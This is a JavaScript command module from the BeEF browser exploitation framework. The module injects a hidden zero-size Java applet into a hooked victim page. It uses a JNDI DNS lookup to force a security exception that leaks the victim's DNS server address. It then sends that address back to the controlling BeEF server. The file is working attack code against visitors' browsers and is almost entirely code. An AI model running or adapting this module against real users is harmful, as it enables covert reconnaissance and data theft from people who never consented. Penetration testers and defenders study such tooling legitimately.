a0ba7fa7fc
Fixes issue 141 git-svn-id: https://beef.googlecode.com/svn/trunk@1211 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
71 lines
2.0 KiB
JavaScript
71 lines
2.0 KiB
JavaScript
//
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// Copyright 2011 Wade Alcorn wade@bindshell.net
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//
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// Licensed under the Apache License, Version 2.0 (the "License");
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// you may not use this file except in compliance with the License.
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// You may obtain a copy of the License at
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//
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// http://www.apache.org/licenses/LICENSE-2.0
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//
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// Unless required by applicable law or agreed to in writing, software
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// distributed under the License is distributed on an "AS IS" BASIS,
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// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
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// See the License for the specific language governing permissions and
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// limitations under the License.
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//
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beef.execute(function() {
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var command_timeout = "<%= @command_timeout %>";
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var Packz = undefined;
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var internal_counter = 0;
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content = "<APPLET code='doNothing' codebase='http://"+beef.net.host+":"+beef.net.port+"/doNothing.class' width=0 height=0 id='beefdns' name='beefdns'></APPLET>";
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$j('body').append(content);
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function checkDns() {
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var result = "";
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try {
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var env = new Packages.java.util.Hashtable();
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env.put("java.naming.factory.initial", "com.sun.jndi.dns.DnsContextFactory");
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env.put("java.naming.provider.url", "dns://");
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var ctx = new Packages.javax.naming.directory.InitialDirContext(env);
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var attrs = ctx.getAttributes("localhost",['*']);
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} catch(e) {
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var d="";
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if (typeof e != "string") d=e.message; else d=e.toString();
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var re=new RegExp("java.net.SocketPermission.([^:]*)");
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var g=re.exec(d);
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result = g[1];
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}
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return(result);
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}
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function waituntilok() {
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try {
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var output = checkDns();
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if (output != null) {
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beef.net.send('<%= @command_url %>', <%= @command_id %>, "dns_address="+output);
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$j('#beefdns').detach();
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return;
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} else throw("command results haven't been returned yet");
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} catch (e) {
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internal_counter++;
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if (internal_counter > command_timeout) {
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beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=time out');
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$j('#beefdns').detach();
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return;
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}
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setTimeout(function() {waituntilok()},1000);
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}
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}
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waituntilok();
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});
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